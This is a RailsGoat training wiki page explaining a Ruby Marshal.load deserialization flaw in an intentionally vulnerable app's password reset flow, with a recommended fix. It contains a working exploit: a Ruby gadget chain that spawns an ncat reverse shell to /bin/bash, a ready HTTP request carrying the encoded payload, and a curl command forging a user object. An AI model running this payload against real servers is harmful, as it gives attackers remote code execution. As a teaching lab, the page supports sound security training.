Skip to content

Extras: Remote Code Execution

Ken Johnson edited this page Dec 8, 2025 · 4 revisions

Remote Code Execution

Remote Code Execution

Ruby Marshal Security Considerations

Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data.

Bug

Railsgoat includes a remote code execution vulnerability through Ruby's Marshal.load vulnerability. Ruby's Marshal.load also the deserialization of arbitrary objects. The password reset controller includes a deserialization vulnerability. During the forgot password flow, after the user clicks on the reset email link, the application verifies the token then adds a Marshaled user object which is posted during the password reset.

Within reset_password.html.erb

          <div class="content">
            <%= hidden_field_tag 'user', Base64.encode64(Marshal.dump(@user)) %>
            <%= label_tag "Enter Password" %>
            <%= password_field_tag :password, params[:password], {:class => "input input-block-level"} %>
            <%= label_tag "Confirm Password" %>
            <%= password_field_tag :confirm_password, params[:confirm_password], {:class => "input input-block-level"} %>
          </div>

Within password_resets_controller.rb

  def reset_password
    user = Marshal.load(Base64.decode64(params[:user])) unless params[:user].nil?

    if user && params[:password] && params[:confirm_password] && params[:password] == params[:confirm_password]
      user.password = params[:password]
      user.save!
      flash[:success] = "Your password has been reset please login"
      redirect_to :login
    else
      flash[:error] = "Error resetting your password. Please try again."
      redirect_to :login
    end
  end

Solution

Remote Code Execution - ATTACK

# Dump an ActiveRecord object with the needed attributes for a User.
# This can be done in the railsgoat project or from another Rails 3.2 project by
# creating a User class with the required fields (id, user_id, created_at, updated_at) 
# and the additional fields you want to change.

# Assuming a table named 'users' with id, user_id, created_at, updated_at, and email 
# as columns exists
class User < ActiveRecord::Base; end
user = User.new(id: 5, user_id: 5)
user.save
user.email = '[email protected]'

# Loading an existing user if in the railsgoat rails console will also work
# user = User.last
# user.email = "[email protected]"

Base64.strict_encode64(Marshal.dump(user))
# => "BAhvOglVc2VyEDoQQGF0...

curl --data "user=<base64_encoded_object>&password=password&confirm_password=password" http://localhost:3000/password_resets

Remote Code Execution - ACTUAL RCE EXPLOIT

The above example demonstrates how to modify user attributes, but the real danger of this vulnerability is the ability to execute arbitrary code on the server. By leveraging Ruby's ERB template engine and ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy, an attacker can achieve remote code execution.

The following exploit demonstrates a complete RCE attack that spawns a reverse shell. This exploit was created by pich4ya and demonstrates the severity of using Marshal.load with untrusted input.

Exploit Code

# RoR + ERB Exploit Payload for RailsGoat
# @author LongCat (Pichaya Morimoto)
# Tested on ruby 2.3.5 + rails 5.1.4
require "base64"
require "erb"

class ActiveSupport
  class Deprecation
    class DeprecatedInstanceVariableProxy
      def initialize(instance, method)
        @instance = instance
        @method = method
        @deprecator = ActiveSupport::Deprecation
      end
    end
  end
end

code = '`ncat 127.0.0.1 1234 -v -e /bin/bash 2>&1`'
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1

ggez = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
puts Base64.encode64(Marshal.dump(ggez)).gsub("\n", "")

HTTP Request

POST /password_resets HTTP/1.1
Host: localhost:3000
Accept: text/html, application/xhtml+xml
Turbolinks-Referrer: http://localhost:3000/
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _railsgoat_session=Y3lJOGJsQ1RSbVBzNXhnYVJnVmYwY3JiZ3RsOVNJWS9pVWtZbHpqZGMyYWNLQXc0M21ha3B5TlMzeW5UWCtCYzdOblpkZ29yMzdJUGRKaHJIZERFNVB6L3o1QkRiMHczTXd1WE44Y0o3WHp0cVdnbWRhNEt0WEprM1QweEtMRUgzaUV3TWdXNFRpZFVsMnA1L1QvazhTOEVyWjBoR3FTbWZQSFJ4em5BQUdjeUdxNGptUy9BbzYrc0IvSm9GQTMwLS1SN3h4SmxYZlZ3M1Y0UzFUaU1jMXB3PT0%3D--43d95cfe8a06f81a00323dac4bb3d810a8667d9b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 351

user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=x

Demonstration

When an attacker sets up a netcat listener and sends the above malicious payload, they gain shell access to the server:

$ ncat -lvp 1234 -k
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: A56B D904 2E26 A379 0F99 4C10 515E 5B89 B6D1 54A0
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:53924.
whoami
pichaya

This demonstrates complete remote code execution, allowing an attacker to run arbitrary commands on the server with the privileges of the Rails application.

Remote Code Execution - SOLUTION

Applications should never use Marshal load with user input. If possible Marshal load should not be used in an application. Other forms of serialization can be used such as json.

Hint

What does the password reset screen have in the source?

Sections are divided by their OWASP Top Ten label (A1-A10) and marked as R4 and R5 for Rails 4 and 5.

Clone this wiki locally